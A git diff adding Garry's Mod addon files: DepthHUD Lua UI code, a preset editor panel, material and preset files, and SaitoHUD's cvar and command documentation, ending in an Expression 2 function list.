self.IsDisplayingPopup = false + return + else + self.IsDisplayingPopup = true + + self.StoredName = "DepthHUD Inline Update : v".. myVer .." to v".. svnVer..". " + if (math.floor(svnVer*10) - math.floor(myVer*10)) > 0 then + self.StoredName = self.StoredName .. "(Feature update)" + elseif (math.floor(svnVer*100) - math.floor(myVer*100)) > 0 then + self.StoredName = self.StoredName .. "(Fix update)" + elseif (math.floor(svnVer*1000) - math.floor(myVer*1000)) > 0 then + self.StoredName = self.StoredName .. "(Betatesting update)" + end + self.StoredSub = "Please open the DepthHUD Inline menu for more information." + + local blinkSize = 1 + //Should disappear ? + + if (RealTime() > (self.PersistTime + self.GetVersionRealTime + self.SafeEndDraw)) then + self.IsDisplayingPopup = false + end + + if (RealTime() > (self.PersistTime + self.GetVersionRealTime)) then + self.StoredName = "" + self.StoredSub = "" + + self:ChangeSmootherTarget("width", 0) + self:ChangeSmootherTarget("height", 1.0) + self:ChangeSmootherRate("width", 0.1) + self:ChangeSmootherRate("height", self.HeightRateDispell) + self.Blinkcap = -1.0 + + else + self.Blinkcap = 1.0 + + if self.StoredName == nil then self.StoredName = "ERROR" end + if self.StoredSub == nil then self.StoredSub = "ERROR" end + + surface.SetFont( dhinline_GetAppropriateFont(self.StoredName, 1) ) + local wB, hB = surface.GetTextSize( self.StoredName ) + + surface.SetFont( dhinline_GetAppropriateFont(self.StoredSub, 0) ) + local wS, hS = surface.GetTextSize( self.StoredSub ) + + local w = math.Max(wB,wS) + local x, y = self:GetMySizes() + + self:ChangeSmootherTarget("width", 44 + w) + self:ChangeSmootherTarget("height", self.HeightStartWaitup) + self:ChangeSmootherRate("width", 0.7) + self:ChangeSmootherRate("height", 0.7) + end + self.SizeX = self:GetSmootherCurrent("width") + if self:GetSmootherCurrent("height") > 0 then + blinkSize = 1.0 + math.Clamp(self:GetSmootherCurrent("height"), 0, 1) + end + //self.SizeY = (1-(1-math.Clamp(self:GetSmootherCurrent("height"),0,1))^8)*-0.7 + + local rate = 1 + + local mX,mY = self:GetMySizes() + + self.textColor.r = self.baseColor.r + self.textColor.g = self.baseColor.g + self.textColor.b = self.baseColor.b + + self.textColor.a = ( 1 - ((RealTime() - self.GetVersionRealTime)/self.PersistTime)^8 ) * 255 + + self:DrawGenericInfobox( + /*Text */ self.StoredName + /*Subtxt */ ,self.StoredSub + /* % */ ,rate + /*atRight*/ ,false + /*0.0 col*/ ,self.WarningColor + /*1.0 col*/ ,self.WarningColor + /*minSize*/ ,0.2 + /*maxSize*/ ,1.0 + /*blink< */ ,self.Blinkcap + /*blinkSz*/ ,blinkSize + /*Font */ ,1 + /*bStatic*/ ,true + /*stCol */ ,self.textColor + /*stColSm*/ ,nil + ) + return true + end +end diff --git a/Repos/HeXs_DepthHUD-master/lua/preset_editor.lua b/Repos/HeXs_DepthHUD-master/lua/preset_editor.lua new file mode 100644 index 0000000..cf65687 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/preset_editor.lua @@ -0,0 +1,217 @@ +// +// ___ ___ _ _ _ __ _ ___ ___ __ __ +// |_ _|| __| / \ | \_/ | / _| / \ | o \ o \\ V / +// | | | _| | o || \_/ | ( |_n| o || / / \ / +// |_| |___||_n_||_| |_| \__/|_n_||_|\\_|\\ |_| 2007 +// +// + +local PANEL = {} + +AccessorFunc( PANEL, "m_strType", "Type" ) +AccessorFunc( PANEL, "m_ConVars", "ConVars" ) +AccessorFunc( PANEL, "m_PresetControl", "PresetControl" ) + + + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:Init() + + // This needs to be drawn on top of the spawn menu.. + self:SetDrawOnTop( true ) + + self:SetSize( 450, 350 ) + self:SetTitle( "Preset Editor" ) + + self.PresetList = vgui.Create( "DComboBox", self ) + + self.pnlEditor = vgui.Create( "DPanel", self ) + + self.pnlDetails = vgui.Create( "DPanel", self.pnlEditor ) + + self.pnlModify = vgui.Create( "DPanel", self.pnlEditor ) + + self.btnDelete = vgui.Create( "DSysButton", self.pnlModify ) + self.btnDelete:SetType( "close" ) + self.btnDelete.DoClick = function() self:Delete() end + + self.txtRename = vgui.Create( "DTextEntry", self.pnlModify ) + + self.btnRename = vgui.Create( "DButton", self.pnlModify ) + self.btnRename:SetText( "#Rename" ) + self.btnRename.DoClick = function() self:Rename() end + + self.pnlAdd = vgui.Create( "DPanel", self ) + + self.txtName = vgui.Create( "DTextEntry", self.pnlAdd ) + + self.btnAdd = vgui.Create( "DButton", self.pnlAdd ) + self.btnAdd:SetText( "#Add Preset" ) + self.btnAdd.DoClick = function() self:Add() end + + self.pnlClose = vgui.Create( "DPanel", self ) + + self.btnCloseIt = vgui.Create( "DButton", self.pnlClose ) + self.btnCloseIt:SetText( "#Close" ) + self.btnCloseIt.DoClick = function() self:Remove() end + +end + +/*--------------------------------------------------------- + Name: SetType +---------------------------------------------------------*/ +function PANEL:SetType( strType ) + self.m_strType = strType + self:Update() +end + + +/*--------------------------------------------------------- + Name: Update +---------------------------------------------------------*/ +function PANEL:Update() + + self.PresetList:Clear() + + local Presets = presets.GetTable( self.m_strType ) + + for k, v in pairs( Presets ) do + + local item = self.PresetList:AddItem( k ) + item.Data = v + + end + +end + +/*--------------------------------------------------------- + Name: PerformLayout +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + DFrame.PerformLayout( self ) + + self.pnlClose:SetSize( 100, 30 ) + self.pnlClose:AlignRight( 10 ) + self.pnlClose:AlignBottom( 10 ) + self.btnCloseIt:StretchToParent( 5, 5, 5, 5 ) + + self.pnlAdd:StretchToParent( 10, 10, 10, 10 ) + self.pnlAdd:CopyHeight( self.pnlClose ) + self.pnlAdd:AlignBottom( 10 ) + self.pnlAdd:StretchRightTo( self.pnlClose, 10 ) + + self.btnAdd:SetSize( 80, 20 ) + self.btnAdd:AlignRight( 5 ) + self.btnAdd:CenterVertical() + + self.txtName:SetPos( 5, 5 ) + self.txtName:StretchRightTo( self.btnAdd, 5 ) + self.txtName:CenterVertical() + + self.PresetList:StretchToParent( 10, 25, 5, 5 ) + self.PresetList:StretchBottomTo( self.pnlAdd, 10 ) + self.PresetList:SetWide( 130 ) + + self.pnlEditor:CopyBounds( self.PresetList ) + self.pnlEditor:MoveRightOf( self.PresetList, 5 ) + self.pnlEditor:StretchToParent( nil, nil, 10, nil ) + + self.pnlModify:StretchToParent( 5, 5, 5, 5 ) + self.pnlModify:SetTall( 30 ) + self.pnlModify:AlignBottom( 5 ) + + self.btnDelete:SetSize( 20, 20 ) + self.btnDelete:AlignRight( 5 ) + self.btnDelete:CenterVertical() + + self.btnRename:SetSize( 50, 20 ) + self.btnRename:MoveLeftOf( self.btnDelete, 5 ) + self.btnRename:CenterVertical() + + self.txtRename:StretchToParent( 5, 5, 5, 5 ) + self.txtRename:StretchRightTo( self.btnRename, 5 ) + + self.pnlDetails:CopyBounds( self.pnlModify ) + self.pnlDetails:AlignTop( 5 ) + self.pnlDetails:StretchBottomTo( self.pnlModify, 5 ) + + +end + +/*--------------------------------------------------------- + Name: +---------------------------------------------------------*/ +function PANEL:Delete() + + local Selected = self.PresetList:GetSelected() + if (!Selected) then return end + + presets.Remove( self.m_strType, Selected:GetValue() ) + self:Update() + + if ( self.m_PresetControl ) then + self.m_PresetControl:Update() + end + +end + +/*--------------------------------------------------------- + Name: +---------------------------------------------------------*/ +function PANEL:Rename() + + local Selected = self.PresetList:GetSelected() + if (!Selected) then return end + + local ToName = self.txtRename:GetValue() + if (!ToName || ToName == "") then return end + + // Todo, Handle name collision + + presets.Rename( self.m_strType, Selected:GetValue(), ToName ) + self:Update() + + self.PresetList:SelectByName( ToName ) + + self.txtRename:SetText( "" ) + + if ( self.m_PresetControl ) then + self.m_PresetControl:Update() + end + +end + +/*--------------------------------------------------------- + Name: +---------------------------------------------------------*/ +function PANEL:Add() + + if ( !self.m_ConVars ) then return end + + local ToName = self.txtName:GetValue() + if (!ToName || ToName == "") then return end + + // Todo, Handle name collision + local tabValues = {} + + for k, v in pairs( self.m_ConVars ) do + tabValues[ v ] = GetConVarString( v ) + end + + presets.Add( self.m_strType, ToName, tabValues ) + self:Update() + + self.PresetList:SelectByName( ToName ) + + self.txtName:SetText( "" ) + + if ( self.m_PresetControl ) then + self.m_PresetControl:Update() + end + +end + +vgui.Register( "PresetEditor", PANEL, "DFrame" ) diff --git a/Repos/HeXs_DepthHUD-master/materials/depthhud/X_CircleSolid.vmt b/Repos/HeXs_DepthHUD-master/materials/depthhud/X_CircleSolid.vmt new file mode 100644 index 0000000..7b83349 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/materials/depthhud/X_CircleSolid.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "depthhud/circle" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/HeXs_DepthHUD-master/materials/depthhud/circle.vtf b/Repos/HeXs_DepthHUD-master/materials/depthhud/circle.vtf new file mode 100644 index 0000000..b9d5b84 Binary files /dev/null and b/Repos/HeXs_DepthHUD-master/materials/depthhud/circle.vtf differ diff --git a/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vmt b/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vmt new file mode 100644 index 0000000..928b186 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$translucent" 1 + "$basetexture" "depthhud\linebow_crosshair" + "$vertexcolor" 1 + "$no_fullbright" 1 + "$ignorez" 1 +} \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vtf b/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vtf new file mode 100644 index 0000000..3fb2268 Binary files /dev/null and b/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vtf differ diff --git a/Repos/HeXs_DepthHUD-master/resource/fonts/DIN.TTF b/Repos/HeXs_DepthHUD-master/resource/fonts/DIN.TTF new file mode 100644 index 0000000..f23cf38 Binary files /dev/null and b/Repos/HeXs_DepthHUD-master/resource/fonts/DIN.TTF differ diff --git a/Repos/HeXs_DepthHUD-master/resource/fonts/DINMED.TTF b/Repos/HeXs_DepthHUD-master/resource/fonts/DINMED.TTF new file mode 100644 index 0000000..8cff3e9 Binary files /dev/null and b/Repos/HeXs_DepthHUD-master/resource/fonts/DINMED.TTF differ diff --git a/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/black and white.txt b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/black and white.txt new file mode 100644 index 0000000..3ed1c10 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/black and white.txt @@ -0,0 +1,15 @@ +"Black and White" +{ + "dhinline_col_base_g" "255" + "dhinline_col_base_a" "255" + "dhinline_col_back_b" "0" + "dhinline_col_base_b" "255" + "dhinline_col_back_a" "165" + "dhinline_col_back_r" "0" + "dhinline_ui_drawglow" "1" + "dhinline_col_base_r" "255" + "dhinline_ui_spacing" "1" + "dhinline_ui_blendfonts" "1" + "dhinline_ui_dynamicbackground" "0" + "dhinline_col_back_g" "0" +} diff --git a/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/shiny default.txt b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/shiny default.txt new file mode 100644 index 0000000..db1bc02 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/shiny default.txt @@ -0,0 +1,15 @@ +"Shiny Default" +{ + "dhinline_col_base_g" "220" + "dhinline_col_base_a" "255" + "dhinline_col_back_b" "0" + "dhinline_col_base_b" "0" + "dhinline_col_back_a" "92" + "dhinline_col_back_r" "0" + "dhinline_ui_drawglow" "1" + "dhinline_col_base_r" "255" + "dhinline_ui_spacing" "1" + "dhinline_ui_blendfonts" "1" + "dhinline_ui_dynamicbackground" "1" + "dhinline_col_back_g" "0" +} diff --git a/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/xray.txt b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/xray.txt new file mode 100644 index 0000000..c6ef8aa --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/xray.txt @@ -0,0 +1,15 @@ +"XRay" +{ + "dhinline_col_base_g" "227" + "dhinline_col_base_a" "255" + "dhinline_col_back_b" "61" + "dhinline_col_back_a" "201" + "dhinline_col_base_b" "232" + "dhinline_ui_drawglow" "1" + "dhinline_col_back_r" "7" + "dhinline_col_base_r" "215" + "dhinline_ui_spacing" "1" + "dhinline_ui_blendfonts" "1" + "dhinline_ui_dynamicbackground" "1" + "dhinline_col_back_g" "52" +} diff --git a/Repos/HeXs_SaitoHUD-master/Desktop.ini b/Repos/HeXs_SaitoHUD-master/Desktop.ini new file mode 100644 index 0000000..29d8672 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/Desktop.ini @@ -0,0 +1,3 @@ +[.ShellClassInfo] +IconFile=defaultlogo.ico +IconIndex=0 diff --git a/Repos/HeXs_SaitoHUD-master/addon.txt b/Repos/HeXs_SaitoHUD-master/addon.txt new file mode 100644 index 0000000..506eacb --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/addon.txt @@ -0,0 +1,9 @@ +"AddonInfo" +{ + "name" "SaitoHUD" + "version" "SVN" + "author_name" "sk89q, BoJaN" + "author_url" "http://code.google.com/p/saitohud/" + "info" "Multi-function HUD and client side addon" + "override" "0" +} \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/docs.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/docs.txt new file mode 100644 index 0000000..20030e8 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/docs.txt @@ -0,0 +1,905 @@ + + + + +SaitoHUD Documentation + + + + +
+

SaitoHUD Documentation

+
    +
  1. General Information
  2. +
  3. Concepts +
      +
    1. Entity Filters
    2. +
    3. Gesture Menu
    4. +
    +
  4. +
  5. Information Displays
  6. +
  7. Player Identification +
      +
    1. Highlighting Friends
  8. +
  9. Entity Highlighting +
      +
    1. Quick Filters List
    2. +
    +
  10. +
  11. Sampling
  12. +
  13. Surveying
  14. +
  15. Spectating
  16. +
  17. Debugging +
  18. Stranded Game Mode
  19. +
  20. Sandbox Game Mode +
      +
    1. Customizing the Gesture Menu
    2. +
    +
  21. +
  22. Miscellaneous
  23. +
+

General Information

+

Many SaitoHUD functions are disabled when you are playing on non-Sandbox game modes. This is to reduce the temptation of cheating, even if you may not usually cheat. These functions will be marked by * in this document.

+

Concepts

+

Entity Filters

+

Some of SaitoHUD's commands support entity filters, which allow you to specify a criteria by which to match entities. You list a set of conditions separated by spaces, with each condition being in the format of property=value. For an entity to match a filter, all conditions must be satisfied. For example, if you wanted to only select entities with "wire" in their class name and "gate" in the model paths, the following filter would be used:

+
class=wire model=gate
+

Note how they match substrings. By default, it is assumed that you mean class, so the following filter would have sufficed:

+
wire model=gate
+

If you want to a condition that the entity must not match, place a hyphen (-) in front of the value. For example, if you wanted to match the conditions mentioned above, but you did not want to match entities with "sand" in their material paths, you would use:

+
class=wire model=gate material=-sand
+

An alternative syntax of the above filter using the syntax @type pattern is:

+
wire @model gate @material sand
+

SaitoHUD supports the following properties to filter by:

+
    +
  • @id
  • +
  • @mindist (alias: @min)
  • +
  • @maxdist (alias: @max)
  • +
  • @model (alias: @mdl)
  • +
  • @material (alias @mat)
  • +
  • @name (alias: @nam)
  • +
+

The @mindist and @maxdist properties take numbers as arguments and allow you to filter entities by their distance away from you.

+

Use an asterisk (*) if you wish to match all class names, models, or materials (ex. * or @mdl * or even @mdl -*). Note that it cannot be used as a wildcard character; if you use it, it must stand alone. To disable a filter, execute the command without any arguments.

+

If you want at least one condition to match, but you do not need all conditions to match, you can can seperate the conditions with "or". ORs have operator precedence over ANDs. So far, you have not seen AND explicitly written because it is assumed, but you may write it if it clarifies the filter string. See the filters below, which all do the same thing:

+
wire and (expr or gate mdl=cpu) or mdl=barrel
wire and (expr or gate @mdl cpu) or @mdl barrel
wire ( expr or gate @mdl cpu ) or @mdl barrel
+

Gesture Menu

+

SaitoHUD provides a quick context-sensitive menu that can be opened with a key and quickly scrolled with the mouse. By default, SaitoHUD does not have anything in this menu, but plugins may populate the list. To enable list gestures, bind +listgest to a key or mouse button, preferrably a mouse button.

+

As long as the bound button is held down, the menu will appear in the top right. Scroll through the menu by moving your mouse, and lift your finger off the bound button to once you have selected an item. Note that you may have to move the mouse slightly after you have lifted your finger for a selection to take effect.

+

Information Displays

+

SaitoHUD has the following information displays:

+
    +
  • Information about the entity that you are looking at.
  • +
  • Information about the player that you are looking at.
  • +
+

Cvars

+ + + + + + + + + + + + + + + + + + + + + + +
CvarTypeDefaultDescription
entity_infobool1Draws information about the entity that you are looking on.
entity_info_playerbool0In addition to entity information, additional player information can also be displayed.
+

Commands

+ + + + + + + + + + + + + +
CvarArgumentsDescription
dump_infovoidDumps the contents of entity information HUD overlay to console for easy copy and paste.
+

Player Indentification

+

Players can be identified with:

+
    +
  • Name tags visible on the HUD. The distance that the player is away from you is also displayed.*
  • +
  • Player bounding boxes that show the bounding boxes of players on your HUD.*
  • +
  • Player markers that display a small arrow beneath the feet of players on your HUD, indicating orientation.*
  • +
+

Cvars

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarTypeDefaultDescription
entity_infobool1Draws information about the entity that you are looking on.
entity_info_playerbool0In addition to entity information, additional player information can also be displayed.
name_tags*bool0Draws the names of players.
friend_tags_always*bool0Always draws the names of friends.
friends_use_steambool1Use Steam friends to highlight.
friend_colorstring255,255,0Friend color for Steam friends.
name_tags_simplebool0Draws name tags using a simpler text style (less FPS drop).
name_tags_rainbow_friendsbool0Draws friends with a rainbow name color.
name_tags_bold_friendsbool1Draws friends with a bold name.
name_tags_distancesbool1Draws distances with name tags.
player_boxes*bool0Draws the bounding boxes and direction lines of players.
player_markers*bool0Draws an arrow under the feet of players indicating the way they face.
+

Highlighting Friends

+

Name tags for friends can be colored differently and bolded for easier identification.

+

In order for SaitoHUD to know who is a friend of yours, you need to create a friends list. Create a CSV file at data/saitohud/friends.csv and in it, put nicknames for your friends, Steam IDs of your friends, and red, green, and blue components to color their in-game name tags with.

+

See the following example:

+
Nickname,SteamID,R,G,B
Great Friend,STEAM_0:0:0000001,255,255,0
Another Friend,STEAM_0:0:0000002,255,0,0
+

Entity Highlighting

+

Entities can be highlighted based on an entity filter with:

+
    +
  • Triads, or 3D coordinate origin markers, that are displayed at the locations of selected entities.*
  • +
  • HUD displays of entity properties at the locations of selected entities.* +
      +
    • Peak speed can be shown for entities. The data is cached but that data can be cleared with the appropriate console command below.
    • +
    +
  • +
  • Bounding boxes of entities that aredisplayed at the locations of selected entities.*
  • +
+

The results of the filtering operations for the following functions are cached for very brief amounts of time to significantly increase performance.

+

Cvars

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarTypeDefaultDescription
overlays_continuous_evalbool0Continually evaluate the filters every time the the HUD is drawn. This may result in a very large FPS drop, depending on your setup and the number of entities.
overlay_filter_texttext"class"Text to show for overlay filters. Options: class, model, material, speed, peakspeed
overlay_filter_print_removedbool0When an entity is removed from an overlay filter cache, then print the result.
+

Commands

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarArgumentsDescription
triads_filter*filter filter(...)Draws 3D coordinate triads at the location of matched entities.
overlay_filter*filter filter(...)Draws class names at the location of matched entities.
overlay_filter_clear_cachevoidClears the data point cache used by the overlay filte.r
bbox_filter*filter filter(...)Draws bounding boxes at the location of matched entities..
vel_vec_filter*filter filter(...)Draws velocity arrows at the location of matched entities..
toggle_triads*voidLegacy function to toggle triads on all entities on and off.
+

Quick Filters List

+

The tool menu panel has a quick filters list that is customizable. Create the CSV file data/saitohud/quick_filters.csv and list each filter on one line.

+

Sampling

+

Sampling allows you to trace the path of an entity or player. The path that the entity or player travels is drawn on the screen. By default, you can only sample one entity at a time, but a cvar adjusts this behavior.

+

Cvars

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarTypeDefaultDescription
sample_draw*bool1Draws the lines tracing the paths of sampled entities.
sample_resolutionfloat20The interval, in milliseconds, at which the sampler will take data points.
sample_sizeint100The maximum number of data points to store for a single sampled entity. Older data points will be removed.
sample_nodesbool1Draws squares at the data points.
sample_multiplebool0Allows for sampling of more than one entity or player at a time.
sample_random_colorbool0Use a random color.
sample_fadebool0Fade out old data points when drawing.
sample_thickbool0Draw thicker lines.
+

Commands

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarArgumentsDescription
samplevoidSamples the entity that you are looking at.
samplestring nameSamples a player, found by their name.
sample_idint idSamples an entity, found by entity index.
sample_filterfilter filter(...)Samples entities, based on an entity filter.
sample_removevoidStops sampling the entity that you are looking at.
sample_removestring nameStops sampling a player, found by their name.
sample_remove_idint idStops sampling an entity, found by entity index.
sample_remove_filterfilter filter(...)Stops sampling entities, based on an entity filter.
sample_clearvoidStops sampling all entities.
sample_listvoidPrints a list of all sampled entities to console.
+

Surveying

+

SaitoHUD can:

+
    +
  • Draw an orthogonal line extending away from a point that you were looking at.
  • +
  • Draw a line from your point of view and reflect it multiple times.
  • +
  • Measure the distance of a path.
  • +
+

Cvars

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarTypeDefaultDescription
ortho_trace_textbool1Draws coordinates for end points of orthogonal traces.
reflect_trace_nodesbool1Draw reflection trace nodes.
reflect_trace_multiplebool0Allow multiple reflection trace analyses at the same time.
reflect_trace_color_progressionbool0Change the color of the line based on the line number out of the total.
+

Commands

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarArgumentsDescription
ortho_tracevoidCreates an orthogonal trace starting from where you are looking at.
ortho_trace_clearvoidClears the list of orthogonal traces.
reflect_traceint numReflectionsStarts a reflection analysis trace from your point of view.
reflect_trace_entint numReflections, float p, float y, float rStarts a reflection analysis trace from an entity's origin with a relative angle.
reflect_trace_ent_liveint numReflections, float p, float y, float rStarts a reflection analysis trace from an entity's origin with a relative angle. Continually recalculated every tick.
reflect_trace_clearvoidClear the list of reflection traces.
measure_addvoidAdds the point that you are looking at to the measured path.
measure_addfloat x, float y, float zAdds a coordinate to the measured path.
measure_add_orthovoidAdds two points to the list of measured path points, one at the point that you are looking at, and the second point on the line normal to the hit surface that hits the first object.
measure_insertint indexAdds the point that you are looking at to the measured path at a certain index.
measure_insertint index, float x, float y, float zAdds a coordinate to the measured path at a certain index.
measure_insert_orthoint indexSee measure_add_ortho. Inserts the two points at index.
measure_replaceint indexReplaces a point on the measured path with the point that you are looking at.
measure_replaceint index, float x, float y, float zReplaces a point on the measured path with a coordinate.
measure_closevoidCloses the path.
measure_listvoidLists the points of the measured path.
measure_clearvoidClears the list of points in the measured path.
measure_sumint index1, int index2Adds the distances between the points between the points at index1 and at index2.
measure_betweenint index1, int index2Adds the distance of the direct vector between points at index1 and at index2.
measure_removeint indexRemove a point.
measure_remove_lastvoidRemove the last point.
+

Spectating

+

Free spectate mode allows you to move a free floating camera around the map to be able to see outside your player. Be aware that only entities within your vincinity will be visible because the server will only send entities that you should be able to see (in your potentially-visible set).

+

Cvars

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarTypeDefaultDescription
free_spectate_lockbool1Locks player movement and turning while free spectating. Turn this off if you want your player to face the point that you are looking at from free spectate mode.
free_spectate_ratefloat1000Rate at which camera moves.
free_spectate_noticebool1Show a notice when you are free spectating.
free_spectate_slow_factorfloat4Factor by which to reduce the camera movement rate when the walk key is pressed.
+

Commands

+ + + + + + + + + + + + + + + + + + +
CvarArgumentsDescription
toggle_spectate*voidToggle free spectate.
free_spectate*voidAlias of toggle_spectate.
+

Debugging

+

Cvars

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarTypeDefaultDescription
umsg_debugbool0Display a listing of umsgs on the HUD.
umsg_debug_peek_wirebool0Peeks into wire_umsg umsgs to display their targeted entity. The umsg will not get correctly passed on to the respective Wire component if this setting is enabled.
umsg_debug_peek_titanbool0Peeks into x umsgs (Titan).
+

Stranded Game Mode

+

SaitoHUD has the following functions for the Stranded game mode:

+
    +
  • Replacement of the resource drawing code with a routine that also colors the name of resources appropriate colors (i.e. stone is a grey-ish color).
  • +
  • A very useful context-sensitive gesture menu.
  • +
+

Cvars

+ + + + + + + + + + + + + + + + + + + + + + +
CvarTypeDefaultDescription
stranded_res_seeablebool1Only draw the names of resources if a trace originating from your eye and ending at the resource does not collide with any other entity. This is how the Stranded game mode handles resource display.
stranded_res_distancefloat500The maximum distance away a resource can be for its resource name will be displayed.
+

Sandbox Game Mode

+

For sandbox games, there is a customizable gesture menu.

+

Customizing the Gesture Menu

+

There is a default sandbox list gesture menu that contains some common tools, but if you wish to customize this, create a CSV file at data/saitohud/sandbox/menu.txt (in your data/ folder) and make a list of the tools that you wish to have on the menu. The first column is the text that will be shown, while the second column is the console command to run.

+

The following is a sample from the default menu.txt file:

+
Title,Command
+Easy Precision Tool,tool_easy_precision
+Weld Tool,tool_weld
+Remover Tool,tool_remover
+No Collide Tool,tool_nocollide
+Adv. Duplicator Tool,tool_adv_duplicator
+Expression 2 Tool,tool_wire_expression2
+Wire Debugger Tool,tool_wire_debugger
+Improved Wire Tool,tool_wire_improved
+

You can add submenus by creating new text files in the same folder as menu.txt, with the prefix "menu_"
+You need to add an entry to an existing menu to switch to the submenu, see the example below for going back to the main menu. For the action just type in the filename of the submenu(with the .txt extension)

+

Here's an example menu_sayings.txt

+
Hello, say Hello!,
+Good Game, say Goog Game,
+Thanks, say Thank You,
+Lol,LOL!,
+Back,menu.txt
+ +

Miscellaneous

+

Cvars

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarTypeDefaultDescription
trace_aims*bool0Enable the drawing of lines that trace the aims of players. The lines begin near the eyes of players and end at the surface that the line collides with. If a player is targetted, the color of the line will change.
super_flashlight_selfbool0Only create the dynamic light for the super flashlight at your own position.
saitohud_ignore_hooksbool0Disables all hooks. Hooks are used to override handling of some SaitoHUD features. For example, there is a hook that allows a plugin to modify the color of the player bounding boxes.
saitohud_modulesstring""List of additional modules to load, separated by commas.
saitohud_modules_prestring""List of additional modules to load before all other modules, separated by commas.
saitohud_profilebool0Display how long it takes each module to load.
+

Commands

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CvarArgumentsDescription
calculatorvoidOpens the calculator.
toggle_hudvoidToggles the display of the HUD.
toggle_concmdstring cmdTtoggle a command on and off (i.e. attack). Don't put + or - when giving the command name.
super_flashlight*voidToggles a powerful flashlight that illuminates the area immediately around you and the area that you are looking at. This works by creating two dynamic lights, one at your location, and another at the location that your aim vector collides at.
super_flashlight_brightvoidMakes the super flashlight brighter.
sound_browservoidOpens a sound browser.
e2_extensionsvoidOpens the E2 extensions window.
hook_managervoidOpens the hook manager window.
saitohud_helpvoidShows the SaitoHUD help window.
saitohud_reloadvoidReloads SaitoHUD.
+ + +
+ + diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/e2_std_funcs.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/e2_std_funcs.txt new file mode 100644 index 0000000..08769d2 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/e2_std_funcs.txt @@ -0,0 +1,1697 @@ +setColor(e:nnn) +findClipFromName(s) +op:dlt(m) +forward(a:) +holoRenderFX(nn) +select(nxwl...) +op:mul(xm2xm2) +clone(t:) +findClipFromBox(vv) +matrix2() +op:inc(n) +real(q:) +pushVector2(r:xv2) +toString(xv4) +op:idx(v=xwln) +op:ass(xgt) +dsSend(ssnc) +gRemoveAllVector2s() +glonError() +op:ass(xv2) +entity(t:s) +gRemoveAllMatrixs() +dsSendDirect(sexwl) +dsJoinGroup(s) +swapElements(xm2:nnnn) +min(vv) +op:idx(q=xwlsq) +setQuaternion(xwl:sq) +dsSendDirect(srb) +gRemoveAllMatrix2s() +findAllowPlayerProps(s) +op:eq(qq) +op:ass(e) +op:idx(xm2=rn) +hsv2rgb(nnn) +gGetShare() +op:idx(n=rn) +setZ(v:n) +elevation(b:v) +setVector4(xwl:sxv4) +op:div(xm2n) +dsSendDirect(src) +volume(e:) +findIncludeClass(s) +npcSetTarget(e:e) +setDiagonal(m:v) +cos(n) +killPod(e:) +findByName(s) +op:idx(s=xgtns) +clip2(e:) +matrix4(m) +setVector(r:nv) +op:idx(xgt=xwlsxgt) +dsGetEntity() +popMatrix4(r:) +findClearWhitePlayerPropList() +op:idx(b=xgts) +op:add(xv4xv4) +matrix(a) +op:add(cq) +trusts(e:e) +rangerOffsetHull(nvvvv) +select(nxm2...) +op:is(a) +findClearBlackClassList() +op:idx(xgt=tsxgt) +op:ass(xm4) +soundPurge() +dsGetArray() +find(s:s) +op:exp(nn) +cross(xv2:xv2) +removeString(r:n) +dsSendDirect(srv) +gResetGroup() +tan(n) +positive(xv2) +removeAngle(r:n) +hsv2rgb(v) +isSteamFriend(e:e) +cscr(n) +op:div(vv) +ranger(nnn) +op:mul(nn) 